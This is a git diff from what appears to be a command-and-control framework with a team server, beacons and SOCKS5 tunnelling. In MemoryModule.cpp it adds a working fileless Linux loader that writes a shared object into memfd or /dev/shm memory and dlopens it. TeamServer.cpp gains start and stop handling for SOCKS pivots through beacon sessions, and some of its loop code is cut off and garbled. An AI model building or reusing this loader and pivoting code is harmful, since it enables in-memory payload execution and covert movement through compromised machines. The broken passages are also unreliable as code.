diff --git a/core b/core index 6206bfc..a927b54 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 6206bfc28959cfb82cfeae0336e095f117dcce5f +Subproject commit a927b54b9adb614dafad0eb4046a6cb7d79cf8dd diff --git a/libs/libMemoryModuleDumy/CMakeLists.txt b/libs/libMemoryModuleDumy/CMakeLists.txt index 5777c4b..aa13baa 100644 --- a/libs/libMemoryModuleDumy/CMakeLists.txt +++ b/libs/libMemoryModuleDumy/CMakeLists.txt @@ -13,3 +13,4 @@ include_directories(../src) add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES}) target_include_directories(${PROJECT_NAME} PUBLIC src) +set_property(TARGET ${PROJECT_NAME} PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/libs/libMemoryModuleDumy/src/MemoryModule.cpp b/libs/libMemoryModuleDumy/src/MemoryModule.cpp index 135458b..ee4a515 100644 --- a/libs/libMemoryModuleDumy/src/MemoryModule.cpp +++ b/libs/libMemoryModuleDumy/src/MemoryModule.cpp @@ -1,7 +1,139 @@ -#include "MemoryModule.hpp" +#include "MemoryModule.h" + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SHM_NAME "testshm" -HMEMORYMODULE MemoryLoadLibrary(const void *, size_t) +int kernel_version() { - return NULL; + struct utsname buffer; + uname(&buffer); + + // printf("system name = %s\n", buffer.sysname); + // printf("node name = %s\n", buffer.nodename); + // printf("release = %s\n", buffer.release); + // printf("version = %s\n", buffer.version); + // printf("machine = %s\n", buffer.machine); + + long ver[16]; + char* p = buffer.release; + int i=0; + + while (*p) { + if (isdigit(*p)) { + ver[i] = strtol(p, &p, 10); + i++; + } else { + p++; + } + } + + // printf("Kernel %ld Major %ld Minor %ld Patch %ld\n", ver[0], ver[1], ver[2], ver[3]); + + if (ver[0] < 3) + return 0; + else if (ver[0] > 3) + return 1; + if (ver[1] < 17) + return 0; + else + return 1; +} + + +int open_ramfs(void) +{ + int shm_fd; + + //If we have a kernel < 3.17 + if (kernel_version() == 0) + { + // https://man7.org/linux/man-pages/man3/shm_open.3.html + shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU); + if (shm_fd < 0) + { + fprintf(stderr, "[-] Could not open file descriptor\n"); + exit(-1); + } + } + // If we have a kernel >= 3.17 + else + { + // https://man7.org/linux/man-pages/man2/memfd_create.2.html + shm_fd = memfd_create(SHM_NAME, 1); + if (shm_fd < 0) + { + fprintf(stderr, "[-] Could not open file descriptor\n"); + exit(-1); + } + } + return shm_fd; +} + + +HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size) +{ + // + // create the shms + // + int shm_fd; + + std::cout << "kernel_version() " << kernel_version() << std::endl; + + //If we have a kernel < 3.17 + if (kernel_version() == 0) + { + shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU); + if (shm_fd < 0) + { + fprintf(stderr, "[-] Could not open file descriptor\n"); + return nullptr; + } + } + // If we have a kernel >= 3.17 + else + { + shm_fd = memfd_create(SHM_NAME, 1); + if (shm_fd < 0) + { + fprintf(stderr, "[-] Could not open file descriptor\n"); + return nullptr; + } + } + + // memcpy in shm + write(shm_fd, moduleData, size); + + char path[1024]; + void *handle=NULL; + + printf("[+] Trying to load Shared Object!\n"); + if (kernel_version() == 1) + { + snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd); + } + else + { + close(shm_fd); + snprintf(path, 1024, "/dev/shm/%s", SHM_NAME); + } + + handle = dlopen(path, RTLD_LAZY); + + close(shm_fd); + + return handle; } \ No newline at end of file diff --git a/libs/libMemoryModuleDumy/src/MemoryModule.hpp b/libs/libMemoryModuleDumy/src/MemoryModule.h similarity index 59% rename from libs/libMemoryModuleDumy/src/MemoryModule.hpp rename to libs/libMemoryModuleDumy/src/MemoryModule.h index 24bf2a0..3fb5e93 100644 --- a/libs/libMemoryModuleDumy/src/MemoryModule.hpp +++ b/libs/libMemoryModuleDumy/src/MemoryModule.h @@ -7,4 +7,4 @@ typedef void *HMEMORYMODULE; -HMEMORYMODULE MemoryLoadLibrary(const void *, size_t); \ No newline at end of file +HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size); \ No newline at end of file diff --git a/libs/libSocks5 b/libs/libSocks5 index c605ce3..383299a 160000 --- a/libs/libSocks5 +++ b/libs/libSocks5 @@ -1 +1 @@ -Subproject commit c605ce3ad956e30381f0196e5571e13b11c64591 +Subproject commit 383299a8501cd16d6ed741d63250ed6b3130773e diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 5134663..6a9ca08 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -498,11 +498,25 @@ void TeamServer::runSocksServer(int port, const std::string& listenerHash, const std::string dataOut; while(1) { + // if session is killed (beacon probably dead) we end the server if(session->isSessionKilled()) break; C2Message c2Message = socksListener->getSocksTaskResult(beaconHash); + // if the beacon request stopSocks we end the server + if(c2Message.instruction() == Socks5 && c2Message.cmd() == "stopSocks") + { + for(int i=0; i& ptr) { return ptr == nullptr; }), + socksServer.m_socksTunnelServers.end()); + + break; + } + for(int i=0; idebug("SendCmdToSession Fail prepMsg {0}", hint); } - if(c2Message.instruction() == Socks5) + if(c2Message.instruction() == Socks5 && c2Message.cmd() == StartCmd) { - // TODO, start the server and launch a thread to handle socks messages + // start the server and launch a thread to handle socks messages int port = std::atoi(c2Message.data().c_str()); std::thread t(&TeamServer::runSocksServer, this, port, listenerHash, beaconHash);